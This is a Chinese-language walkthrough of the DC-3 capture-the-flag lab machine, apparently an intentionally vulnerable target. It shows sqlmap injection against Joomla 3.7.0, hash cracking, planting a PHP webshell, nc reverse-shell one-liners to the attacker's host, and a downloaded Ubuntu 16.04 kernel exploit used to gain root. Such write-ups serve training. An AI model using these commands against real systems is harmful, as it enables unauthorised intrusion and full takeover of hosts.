DC-3
nmap扫出靶机及其端口,框架,而后在浏览器上访问。
提示只有一个flag,且需要root权限。
框架为joomla,在msfconsole上找到对应模块逐一尝试,没能成功,但成功找到了对应版本号3.7.0
在网络上继续搜索相应漏洞,发现该版本有对应的sql注入漏洞,回到浏览器进行尝试,而后注入得到数据库名。
再次使用joomscan工具进行扫描
1
| perl joomscan.pl --url http://192.168.101.23
|

发现一些页面。
寻找对应版本的模块。
1 2
| searchsploit joomla 3.7 cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
|
复制sql注入命令
1 2 3
| sqlmap -u "http://192.168.101.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]#查询数据库 sqlmap -u "http://192.168.101.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]#查询表名 sqlmap -u "http://192.168.101.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]#查询表中所有列
|
查询到用户为admin,密码为一串hash值,那么对hash值进行爆破
1 2
| vim hashpassword.txt#将hash值写入该文件 john hashpassword.txt#爆破hash值
|
而后获得密码snoopy,进行登录,并找到模板相关的页面,发现可以创建文件,直接给他来个一句话木马。

那么我们现在需要的就是找到shell.php的位置并进行连接。
之前使用joomscan扫出的目录里有templates,前面的administrator应该只是登陆页面,所以猜测真正的文件路径是http://192.168.101.23/templates/beez3/html/shell.php (beez3的猜测是因为进入文件夹的时候经过了)。
蚁剑连接,但蚁剑的连接只是单向shell,我们需要进行交互式的shell,这样才能提到root权限。
1 2 3
| nc lvvp 1234#kali本机开启监听 nc -e /bin/bash 192.168.101.16 1234#靶机连接kali rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.101.16 4444 >/tmp/f#靶机输入,反弹shell完成。
|
尝试SUID提权和git提权,但都失败了,之前登陆的网站中,有关于网站使用系统的信息,其中Ubuntu的版本是16.04
可以试着找找该版本的漏洞
1
| searchsploit Ubuntu 16.04
|

这里选择39772进行提权,(该文件说明时提到了可以用于获得root权限)s。

下载payload
1 2 3
| wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip cp 39772.zip /var/www/html service apache2 start
|
而后靶机就可以从kali这下载了
1 2 3 4
| wget http://192.168.101.16/39772.zip unzip 39772.zip cd 39772 tar -xvf exploit.tar
|
再从主机进行操作
1 2 3 4 5 6
| cd 39772 cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput#到这里已经获得了root权限 cd /root cat the-flag.txt
|
